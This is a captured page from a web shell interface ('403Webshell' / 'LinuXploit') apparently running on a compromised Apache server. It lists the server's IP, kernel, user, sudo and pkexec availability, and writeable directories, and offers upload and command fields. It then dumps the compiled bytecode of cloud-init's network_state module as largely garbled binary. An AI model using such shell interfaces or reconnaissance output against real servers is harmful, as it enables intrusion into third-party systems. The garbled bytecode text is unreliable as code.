403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/net/__pycache__/network_state.cpython-36.pyc
3

��b	��@s�ddlZddlZddlZddlZddlZddlZddlmZmZej	e
�ZdZddddgZ
ddd	d
giZddd
ddddddddddddgZdddddddd d!d"d#d$d%d&d'd(�d)d*d+dd,d-dd.d/d0dd1�d2�Zd3d4�Zd5d6�ZGd7d8�d8e�Zd9d:�ZGd;d<�d<e�ZGd=d>�d>e�ZGd?d@�d@edA�ZdBdC�ZffdDdE�ZdFdG�ZdHdI�ZdJdK�ZdLdM�Z dNdO�Z!dPdQ�Z"dRdS�Z#dTdU�Z$dZedW�dXdY�Z%dS)[�N)�safeyaml�util��dhcp6Z
ipv6_slaaczipv6_dhcpv6-statelesszipv6_dhcpv6-stateful�version�config�
network_state�	addresses�dhcp4zdhcp4-overrideszdhcp6-overrides�gateway4�gateway6�
interfaces�match�mtu�nameservers�rendererzset-name�	wakeonlanz	accept-raz	ad-selectzarp-intervalz
arp-ip-targetzarp-validatez
down-delayzfail-over-mac-policyz	lacp-ratezmii-monitor-intervalz	min-links�modezgratuitious-arpZprimaryzprimary-reselect-policyzup-delayztransmit-hash-policy)zbond-ad-selectzbond-arp-intervalzbond-arp-ip-targetzbond-arp-validatezbond-downdelayzbond-fail-over-maczbond-lacp-ratezbond-miimonzbond-min-linksz	bond-modezbond-num-grat-arpzbond-primaryzbond-primary-reselectzbond-updelayzbond-xmit-hash-policyzageing-timeZpriorityz
forward-delayz
hello-timezmax-agez	path-costz
port-priority�stp)Z
bridge_ageingZbridge_bridgeprioZ	bridge_fdZbridge_gcintZbridge_helloZ
bridge_maxageZbridge_maxwaitZbridge_pathcostZbridge_portprio�
bridge_stpZbridge_waitport)�bond�bridgecCstj|�}t�}|j|�|S)N)rZ	read_conf�NetworkStateInterpreter�load)Z
state_file�state�nsi�r�#/usr/lib/python3.6/network_state.py�from_state_filePs

rcCs$t|�}x|D]}|j|�qW|S)N)�set�discard)Zexpected�actualZmissing�keyrrr�	diff_keysWs
r#c@seZdZdS)�InvalidCommandN)�__name__�
__module__�__qualname__rrrrr$^sr$cs�fdd�}|S)Ncstj����fdd��}|S)Ncs4�r"t�|�}|r"td|�f���||f|�|�S)Nz&Command missing %s of required keys %s)r#r$)�self�command�args�kwargs�missing_keys)�func�
required_keysrr�	decoratords
z7ensure_command_keys.<locals>.wrapper.<locals>.decorator)�	functools�wraps)r-r/)r.)r-r�wrappercsz$ensure_command_keys.<locals>.wrapperr)r.r2r)r.r�ensure_command_keysbsr3cs eZdZdZ�fdd�Z�ZS)�CommandHandlerMetaaMetaclass that dynamically creates a 'command_handlers' attribute.

    This will scan the to-be-created class for methods that start with
    'handle_' and on finding those will populate a class attribute mapping
    so that those methods can be quickly located and called.
    csfi}xB|j�D]6\}}t|�r|jd�r|td�d�}|r|||<qW||d<tt|�j||||�S)NZhandle_�command_handlers)�items�callable�
startswith�len�superr4�__new__)�cls�name�parentsZdctr5Z	attr_name�attrZhandles_what)�	__class__rrr;|szCommandHandlerMeta.__new__)r%r&r'�__doc__r;�
__classcell__rr)r@rr4tsr4c@sxeZdZefdd�Zedd��Zedd��Zedd��Zed	d
��Z	edd��Z
ddd�Zddd�Zdd�Z
dd�Zd
S)�NetworkStatecCs*tj|�|_||_|jdd�|_d|_dS)N�use_ipv6F)�copy�deepcopy�_network_state�_version�getrD�_has_default_route)r(rrrrr�__init__�szNetworkState.__init__cCs
|jdS)Nr)rG)r(rrrr�szNetworkState.configcCs|jS)N)rH)r(rrrr�szNetworkState.versioncCs(y|jddStk
r"gSXdS)N�dnsr)rG�KeyError)r(rrr�dns_nameservers�szNetworkState.dns_nameserverscCs(y|jddStk
r"gSXdS)NrL�search)rGrM)r(rrr�dns_searchdomains�szNetworkState.dns_searchdomainscCs|jdkr|j�|_|jS)N)rJ�_maybe_has_default_route)r(rrr�has_default_route�s

zNetworkState.has_default_routeNccsB|jjdi�}x.|j�D]"}|dkr,|Vq||�r|VqWdS)Nr
)rGrI�values)r(�filter_funcZifaces�ifacerrr�iter_interfaces�szNetworkState.iter_interfacesccs:x4|jjdg�D]"}|dk	r,||�r2|Vq|VqWdS)N�routes)rGrI)r(rT�routerrr�iter_routes�s
zNetworkState.iter_routescCspx|j�D]}|j|�r
dSq
WxJ|j�D]>}x8|jdg�D](}x"|jdg�D]}|j|�rNdSqNWq<Wq*WdS)NT�subnetsrWF)rY�_is_default_routerVrI)r(rXrU�subnetrrrrQ�s

z%NetworkState._maybe_has_default_routecCs d}|jd�dko|jd�|kS)N�::�0.0.0.0�prefixr�network)r]r^)rI)r(rXZdefault_netsrrrr[�szNetworkState._is_default_route)N)N)r%r&r'�NETWORK_STATE_VERSIONrK�propertyrrrNrPrRrVrYrQr[rrrrrC�s
	
rCc@s�eZdZigggd�ddd�Zedfdd�Zedd��Zed	d
��Zej	dd
��Zdd
�Z
dd�Zdd�Zdd�Z
dd�ZdIdd�ZdJdd�ZdKdd�Zedg�dd��Zedg�d d!��Zedd"d#g�d$d%��Zedd&d'g�d(d)��Zedd*g�d+d,��Zedg�d-d.��Zd/d0�Zed1g�d2d3��Zed1g�d4d5��Zed6g�d7d8��Zd9d:�Zd;d<�Zd=d>�Zd?d@�Z dAdB�Z!dCdD�Z"dLdEdF�Z#dGdH�Z$dS)Mr)rrOFN)r
rWrLrDrcCs4||_||_tj|j�|_||jd<d|_i|_dS)NrF)rH�_configrErF�initial_network_staterG�_parsed�_interface_dns_map)r(rrrrrrK�s
z NetworkStateInterpreter.__init__cCst|j|jd�S)N)r)rCrGrH)r(rrrr�sz%NetworkStateInterpreter.network_statecCs|jjd�S)NrD)rGrI)r(rrrrD�sz NetworkStateInterpreter.use_ipv6cCs|jjd|i�dS)NrD)rG�update)r(�valrrrrD�scCs|j|j|jd�}tj|�S)N)rrr)rHrcrGr�dumps)r(rrrr�dump�s
zNetworkStateInterpreter.dumpcCszd|krtjd�td��t|d}t||�}|rNd|}tj|�t|��x&dd�|D�D]}t||||�q^WdS)Nrz$Invalid state, missing version fieldzInvalid state, missing keys: %scSsg|]}|dkr|�qS)r)rr)�.0�krrr�
<listcomp>sz0NetworkStateInterpreter.load.<locals>.<listcomp>)�LOG�error�
ValueError�NETWORK_STATE_REQUIRED_KEYSr#�setattr)r(rr.r,�msgr"rrrr�s


zNetworkStateInterpreter.loadcCstj|j�S)N)rrirG)r(rrr�dump_network_statesz*NetworkStateInterpreter.dump_network_statecCs|j|jd�S)N)rr)rHrc)r(rrr�as_dict	szNetworkStateInterpreter.as_dictcCs
|j}|S)N)r)r(�nsrrr�get_network_statesz)NetworkStateInterpreter.get_network_stateTcCs>|jdkr|j|d�d|_n|jdkr:|j|d�d|_dS)Nr)�skip_brokenT�)rH�parse_config_v1re�parse_config_v2)r(rxrrr�parse_configs

z$NetworkStateInterpreter.parse_configcCs$x�|jD]�}|d}y|j|}Wn0tk
rR}ztd|�|�WYdd}~XnXy|||�Wqtk
r�|sz�ntjd|dd�tj|j��YqXqWx||j	j
�D]n\}}d}y|jd|}Wn4tk
�r}ztdj
|��|�WYdd}~XnX|r�|\}	}
|	|
d�|d	<q�WdS)
N�typez"No handler found for  command '%s'zSkipping invalid command: %sT)�exc_infor
zINameserver specified for interface {0}, but interface {0} does not exist!)r	rOrL)rcr5rM�RuntimeErrorr$rn�warning�debugrtrfr6rGrp�format)r(rxr)�command_type�handler�e�	interfacerLrUrrOrrrrzs:z'NetworkStateInterpreter.parse_config_v1cCs�x�|jj�D]�\}}|dkrqy|j|}Wn0tk
r\}ztd|�|�WYdd}~XnXy|||�|j|�Wqtk
r�|s��ntjd|dd�tj	|j
��YqXqWdS)Nrrz!No handler found for command '%s'zSkipping invalid command: %sT)r~)rr)rcr6r5rMr�
_v2_commonr$rnr�r�rt)r(rxr�r)r�r�rrrr{;s$
z'NetworkStateInterpreter.parse_config_v2r=cCs
|j|�S)N)�handle_physical)r(r)rrr�handle_loopbackQsz'NetworkStateInterpreter.handle_loopbackc

Cs.|jjdi�}|j|di�}x*|jdi�j�D]\}}|j||i�q0Wt|jd��}|js�x2|D]*}|jd�jd�s�t|jd��rdd|_PqdW|jd	d
�}|d
k	r�tj	|�}|jdd
�}	|	d
k	r�tj	|	�}	|j|jd�|jd�|jd�d
d|jd�d
d
|||	d��|jdj|jd�|i�|j
�d
S)z�
        command = {
            'type': 'physical',
            'mac_address': 'c0:d6:9f:2c:e8:80',
            'name': 'eth0',
            'subnets': [
                {'type': 'dhcp4'}
             ],
            'accept-ra': 'true'
        }
        r
r=�paramsrZr}�6�addressTz	accept-raNr�mac_address�inetZmanualr)r=r}r�r�rrr��gatewayrZz	accept-rar)rGrIr6rg�_normalize_subnetsrD�endswith�is_ipv6_addrrZis_truert)
r(r)r
rU�paramrhrZr\Z	accept_rarrrrr�Us>



z'NetworkStateInterpreter.handle_physical�vlan_id�	vlan_linkcCs\|jjdi�}|j|�|j|jd�i�}|jd�|d<|jd�|d<|j|d|i�dS)z�
        auto eth0.222
        iface eth0.222 inet static
                address 10.10.10.1
                netmask 255.255.255.0
                hwaddress ether BC:76:4E:06:96:B3
                vlan-raw-device eth0
        r
r=r�zvlan-raw-devicer�N)rGrIr�rg)r(r)r
rUrrr�handle_vlan�s

z#NetworkStateInterpreter.handle_vlan�bond_interfacesr�c	Cs|j|�|jjd�}|j|jd�i�}x(|jd�j�D]\}}|j||i�q8W|jddi�|jdj|d|i�x�|jd�D]�}||kr�|dd�}|j|�|jjdi�}|j|�}|jd�|d	<x(|jd�j�D]\}}|j||i�q�W|jdj||i�q�Wd
S)aU
        #/etc/network/interfaces
        auto eth0
        iface eth0 inet manual
            bond-master bond0
            bond-mode 802.3ad

        auto eth1
        iface eth1 inet manual
            bond-master bond0
            bond-mode 802.3ad

        auto bond0
        iface bond0 inet static
             address 192.168.0.10
             gateway 192.168.0.1
             netmask 255.255.255.0
             bond-slaves none
             bond-mode 802.3ad
             bond-miimon 100
             bond-downdelay 200
             bond-updelay 200
             bond-lacp-rate 4
        r
r=r�zbond-slavesZnoner�r)r=r}zbond-masterN)r�rGrIr6rg)	r(r)r
rUr�rh�ifname�cmdZbond_ifrrr�handle_bond�s$


z#NetworkStateInterpreter.handle_bond�bridge_interfacesc	Cs|jjdi�}x.|jd�D] }||kr(qd|i}|j|�qW|jjdi�}|j|�|j|jd�i�}|d|d<x*|jdi�j�D]\}}|j||i�q�W|jd�}|dk	o�t|�tk�r�|dkr�d}n|dkr�d}ntdj|d���|jd|i�|j|d|i�dS)a�
            auto br0
            iface br0 inet static
                    address 10.10.10.1
                    netmask 255.255.255.0
                    bridge_ports eth0 eth1
                    bridge_stp off
                    bridge_fd 0
                    bridge_maxwait 0

        bridge_params = [
            "bridge_ports",
            "bridge_ageing",
            "bridge_bridgeprio",
            "bridge_fd",
            "bridge_gcint",
            "bridge_hello",
            "bridge_hw",
            "bridge_maxage",
            "bridge_maxwait",
            "bridge_pathcost",
            "bridge_portprio",
            "bridge_stp",
            "bridge_waitport",
        ]
        r
r�r=Zbridge_portsr�rN�on�1rT�off�0rFz2Cannot convert bridge_stp value ({stp}) to boolean)r)r�r�r)r�r�r)	rGrIr�r6rgr}�boolrpr�)	r(r)r
r�r�rUr�rhrrrr�
handle_bridge�s.


z%NetworkStateInterpreter.handle_bridgecCs|j|�dS)N)r�)r(r)rrr�handle_infinibandsz)NetworkStateInterpreter.handle_infinibandcCs�g}g}d|krB|d}t|�tks*|g}x|D]}|j|�q0Wd|krz|d}t|t�sb|g}x|D]}|j|�qhW||fS)Nr�rO)r}�list�append�
isinstance)r(r)rrOZaddrs�addr�paths�pathrrr�
_parse_dnss


z"NetworkStateInterpreter._parse_dnsr�cCsV|jjd�}|j|�\}}d|kr6||f|j|d<n|dj|�|dj|�dS)NrLr�rrO)rGrIr�rf�extend)r(r)rLrrOrrr�handle_nameserver(sz)NetworkStateInterpreter.handle_nameservercCs0|jjd�}|j|�\}}||d�||d<dS)Nr
)rrOrL)rGrIr�)r(r)rUZ_ifacerrOrrr�_handle_individual_nameserver5sz5NetworkStateInterpreter._handle_individual_nameserver�destinationcCs|jdjt|��dS)NrW)rGr��_normalize_route)r(r)rrr�handle_route;sz$NetworkStateInterpreter.handle_routecCs|j|dd�dS)a�
        v2_command = {
          bond0: {
            'interfaces': ['interface0', 'interface1'],
            'parameters': {
               'mii-monitor-interval': 100,
               'mode': '802.3ad',
               'xmit_hash_policy': 'layer3+4'}},
          bond1: {
            'bond-slaves': ['interface2', 'interface7'],
            'parameters': {
                'mode': 1,
            }
          }
        }

        v1_command = {
            'type': 'bond'
            'name': 'bond0',
            'bond_interfaces': [interface0, interface1],
            'params': {
                'bond-mode': '802.3ad',
                'bond_miimon: 100,
                'bond_xmit_hash_policy': 'layer3+4',
            }
        }

        r)�cmd_typeN)�_handle_bond_bridge)r(r)rrr�handle_bonds@sz$NetworkStateInterpreter.handle_bondscCs|j|dd�dS)a�
        v2_command = {
          br0: {
            'interfaces': ['interface0', 'interface1'],
            'forward-delay': 0,
            'stp': False,
            'maxwait': 0,
          }
        }

        v1_command = {
            'type': 'bridge'
            'name': 'br0',
            'bridge_interfaces': [interface0, interface1],
            'params': {
                'bridge_stp': 'off',
                'bridge_fd: 0,
                'bridge_maxwait': 0
            }
        }

        r)r�N)r�)r(r)rrr�handle_bridges_sz&NetworkStateInterpreter.handle_bridgesc
Cs�x�|j�D]�\}}d|jd|�d�}|jdi�}|jdd�}|sRtjd|t|��||d<|jd	d�}|rvd	|i|d
<x dD]}||kr|||||<q|W|j|�}	t|	�dkr�|jd|	i�tjd|�|j|�q
WdS)a�
        ethernets:
          eno1:
            match:
              macaddress: 00:11:22:33:44:55
              driver: hv_netsvc
            wakeonlan: true
            dhcp4: true
            dhcp6: false
            addresses:
              - 192.168.14.2/24
              - 2001:1::1/64
            gateway4: 192.168.14.1
            gateway6: 2001:1::2
            nameservers:
              search: [foo.local, bar.local]
              addresses: [8.8.8.8, 8.8.4.4]
          lom:
            match:
              driver: ixgbe
            set-name: lom1
            dhcp6: true
            accept-ra: true
          switchports:
            match:
              name: enp2*
            mtu: 1280

        command = {
            'type': 'physical',
            'mac_address': 'c0:d6:9f:2c:e8:80',
            'name': 'eth0',
            'subnets': [
                {'type': 'dhcp4'}
             ]
        }
        Zphysicalzset-name)r}r=rZ
macaddressNzHNetworkState Version2: missing "macaddress" info in config entry: %s: %sr��driverr�rr�	accept-rarrZz!v2(ethernets) -> v1(physical):
%s)rrrr�)	r6rIrnr��str�_v2_to_v1_ipcfgr9rgr�)
r(r)Zeth�cfgZphy_cmdrr�r�r"rZrrr�handle_ethernetsys,&


z(NetworkStateInterpreter.handle_ethernetscCs�x||j�D]p\}}d||jd�|jd�d�}d|kr@|d|d<|j|�}t|�dkrd|jd|i�tjd|�|j|�q
Wd	S)
aq
        v2_vlans = {
            'eth0.123': {
                'id': 123,
                'link': 'eth0',
                'dhcp4': True,
            }
        }

        v1_command = {
            'type': 'vlan',
            'name': 'eth0.123',
            'vlan_link': 'eth0',
            'vlan_id': 123,
            'subnets': [{'type': 'dhcp4'}],
        }
        �vlan�id�link)r}r=r�r�rrrZzv2(vlans) -> v1(vlan):
%sN)r6rIr�r9rgrnr�r�)r(r)r�r�Zvlan_cmdrZrrr�handle_vlans�s
z$NetworkStateInterpreter.handle_vlanscCstjd�dS)NzOWifi configuration is only available to distros with netplan rendering support.)rnr�)r(r)rrr�handle_wifis�sz$NetworkStateInterpreter.handle_wifiscCs�tjd|�x�|j�D]�\}}d|kr8|jd�}|r8|}d|kr|jd�jdg�}|jd�jdg�}ddi}t|�dkr�|jd|i�t|�dkr�|jd	|i�|j|�|j||�qWdS)
Nzv2_common: handling config:
%szset-namerrOr	r}Z
nameserverrr�)rnr�r6rIr9rgr�r�)r(r�rUZdev_cfgZset_name_ifacerOrLZname_cmdrrrr��s 

z"NetworkStateInterpreter._v2_commonc
s(tdd�tj|�j�D����x|j�D]�\}}tdd�|j�D��}|jdi�}|jdd�}|rj||d<d|d	||d
|jd�dt�fd
d�|j�D��i}d|kr�|d|d<|j|�}	t|	�dkr�|jd|	i�tj	d|||�|dkr�|j
|�q(|dk�r|j|�q(tdj
|d���q(WdS)z(Common handler for bond and bridge typescss|]\}}||fVqdS)Nr)rkrl�vrrr�	<genexpr>�sz>NetworkStateInterpreter._handle_bond_bridge.<locals>.<genexpr>css"|]\}}|tkr||fVqdS)N)�NETWORK_V2_KEY_FILTER)rkr"�valuerrrr��sZ
parameterszgratuitous-arpNzgratuitious-arpr}r=Z_interfacesr
r�c3s|]\}}�||fVqdS)Nr)rkrlr�)�v2key_to_v1rrr�srrrZzv2(%s) -> v1(%s):
%srrz Unknown command type: {cmd_type})r�)�dict�NET_CONFIG_TO_V2rIr6�popr�r9rgrnr�r�r�rpr�)
r(r)r�Z	item_nameZitem_cfgZitem_paramsr�Z
grat_valueZv1_cmdrZr)r�rr��s6

z+NetworkStateInterpreter._handle_bond_bridgec
Cs�dd�}g}|jd�r:ddi}||jdi�|�|j|�|jd�rnddi}d|_||jdi�|�|j|�d	}d	}i}x�|jd
g�D]�}d|d�}d
|kr�d|kr�|d	kr�|jd�}|jd|i�n(d|kr�|d	kr�|jd�}|jd|i�d|ko�|�rF|jd�jd
�}	|	�r|	|d<|jd�jd�}
|
�r<|
|d<|j|�|j|�q�Wg}x6|jdg�D]&}|jt|jd�|jd�d����qfWt|��r�t|��r�||dd<|S)z7Common ipconfig extraction from v2 to v1 subnets array.cSsd|kr|d|d<dS)Nzroute-metric�metricr)Z	overridesr\rrr�_add_dhcp_overrides&szDNetworkStateInterpreter._v2_to_v1_ipcfg.<locals>._add_dhcp_overridesr
r}zdhcp4-overridesrTzdhcp6-overridesNr	�static)r}r��:rr�rrrNrO�
dns_searchrWZtoZvia)r�r�r)rIr�rDrgr�r9)
r(r�r�rZr\rrrr�r	rOrWrXrrrr�#sT






z'NetworkStateInterpreter._v2_to_v1_ipcfg)T)T)T)N)%r%r&r'rdrarKrbrrD�setterrjrrtrurwr|rzr{r3r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�sH

#
75A
C!
.r)�	metaclasscCs~tj|�}tdd�|j�D��}|jd�dkr@|jt|dd��d	d
�|jdg�D�|d<dd
�}xdD]}|||�qhW|S)Ncss|]\}}|r||fVqdS)Nr)rkrlr�rrrr�hsz$_normalize_subnet.<locals>.<genexpr>r}r��static6r��
ip_address)�address_keyscSsg|]}t|��qSr)r�)rk�rrrrrmusz%_normalize_subnet.<locals>.<listcomp>rWcSs,||kr(t||t�r(||j�||<dS)N)r�r��split)Zsnetr=rrr�listifyxsz"_normalize_subnet.<locals>.listifyr�rN)r�r�)r�r�)r�rN)rErFr�r6rIrg�_normalize_net_keys)r\Z
normal_subnetr�rlrrr�_normalize_subnetes


r�c
Cs�tdd�|j�D��}d}x|D]}|j|�r |}Pq W|s`ddj|�|f}tj|�t|��|j|�}t|�}|jd�}d|kr�|jd�\}	}
}|	||<yt	|�}Wn*tk
r�|r�t
|�}nt|�}YnXnL|r�|r�t|�}n8|r�|r�t
|�}n&d|k�rt	|d�}n|�rd	nd
}d|k�rPt|d�t|�k�rPtj
d||�||d<|�rpd|k�r�|d=nt|d�|d<|S)a�Normalize dictionary network keys returning prefix and address keys.

    @param network: A dict of network-related definition containing prefix,
        netmask and address_keys.
    @param address_keys: A tuple of keys to search for representing the address
        or cidr. The first address_key discovered will be used for
        normalization.

    @returns: A dict containing normalized prefix and matching addr_key.
    css|]\}}|r||fVqdS)Nr)rkrlr�rrrr��sz&_normalize_net_keys.<locals>.<genexpr>Nz/No config network address keys [%s] found in %s�,�netmask�/r_�@�z;Overwriting existing 'prefix' with '%s' in network info: %s)r�r6rI�joinrnrorpr��	partition�int�ipv6_mask_to_net_prefix�ipv4_mask_to_net_prefixr�r��net_prefix_to_ipv4_mask)
r`r�ZnetZaddr_keyr"�messager�Zipv6r�Z	addr_part�_Zmaybe_prefixr_rrrr��sT









 
r�cCs�tdd�|j�D��}d|kr0|d|d<|d=|jt|d	d��|jd�}|r�yt|�|d<Wn2tk
r�}ztdj|��|�WYdd}~XnX|S)
a�normalize a route.
    return a dictionary with only:
       'type': 'route' (only present if it was present in input)
       'network': the network portion of the route as a string.
       'prefix': the network prefix for address as an integer.
       'metric': integer metric (only if present in input).
       'netmask': netmask (string) equivalent to prefix iff network is ipv4.
    css"|]\}}|dkr||fVqdS)�N)r�Nr)rkrlr�rrrr��sz#_normalize_route.<locals>.<genexpr>r�r`)r�r�z(Route config metric {} is not an integerN)r`r�)	r�r6rgr�rIr�rp�	TypeErrorr�)rXZnormal_router�r�rrrr��s"


r�cCs|sg}dd�|D�S)NcSsg|]}t|��qSr)r�)rk�srrrrm�sz&_normalize_subnets.<locals>.<listcomp>r)rZrrrr��sr�cCs|sdSdt|�kS)NFr�)r�)r�rrrr��sr�cCs@|djd�s|dtkrdS|ddkr<t|jd��r<dSdS)z:Common helper for checking network_state subnets for ipv6.r}r�Tr�r�F)r��IPV6_DYNAMIC_TYPESr�rI)r\rrr�subnet_is_ipv6�s
r�cCs&tjtjdddt|�>d@��}|S)z�Convert a network prefix to an ipv4 netmask.

    This is the inverse of ipv4_mask_to_net_prefix.
        24 -> "255.255.255.0"
    Also supports input as a string.z>Il��� )�socketZ	inet_ntoa�struct�packr�)r_�maskrrrr�sr�cCstjd|���jS)aConvert an ipv4 netmask into a network prefix length.

    If the input is already an integer or a string representation of
    an integer, then int(mask) will be returned.
       "255.255.255.0" => 24
       str(24)         => 24
       "24"            => 24
    z0.0.0.0/)�	ipaddress�
ip_network�	prefixlen)r�rrrr�s	r�c
Cs�ytjd|���j}|Stk
r*YnXtj|�}t|�}|dkrJ|Sttj||d@j��}||?}tj|}d|>d}||kr�td|��|S)z�Convert an ipv6 netmask (very uncommon) or prefix (64) to prefix.

    If the input is already an integer or a string representation of
    an integer, then int(mask) will be returned.
       "ffff:ffff:ffff::"  => 48
       "48"                => 48
    z::/rrzInvalid network mask '%s')	r�r�r�rpr�r��minZ
IPV6LENGTH�
bit_length)r�r�r�Zmask_intZtrailing_zeroesZleading_onesZall_onesrrrr�s"

r�csftdjdd�|jd�D��d�}t|�}|dd|dB�dj�fdd�td	�d
d
d�D��}|S)zZCalculate the broadcast address from the subnet mask and ip addr.

    Supports ipv4 only.r�cSs$g|]}tt|�d�dd��qS)��N)�binr�)rk�xrrrrm?sz/mask_and_ipv4_to_bcast_addr.<locals>.<listcomp>�.ryr�rcs g|]}t�|d>?d@��qS)r��)r�)rk�i)�	bcast_binrrrmCs�N���)r�r�r�r��range)r�ZipZip_binZmask_decZ	bcast_strr)r�r�mask_and_ipv4_to_bcast_addr;s "r�T)�returncCs`d}|jd�}|jd�}|dkr$|}|rP|dk	rPt||d�}|j|d�|j�}|s\td��|S)zfParses the config, returns NetworkState object

    :param net_config: curtin network config dict
    Nrrry)rr)rxz_No valid network_state object created from network config. Did you specify the correct version?)rIrr|rwr)Z
net_configrxrrrrrrr�parse_net_config_dataHs

r�)T)&rEr0r�Zloggingr�r�Z	cloudinitrrZ	getLoggerr%rnrar�rqr�r�rr#�	Exceptionr$r3r}r4�objectrCrr�r�r�r�r�r�r�r�r�r�r�rrrr�<module>s�
FD"#

Youez - 2016 - github.com/yon3zu
LinuXploit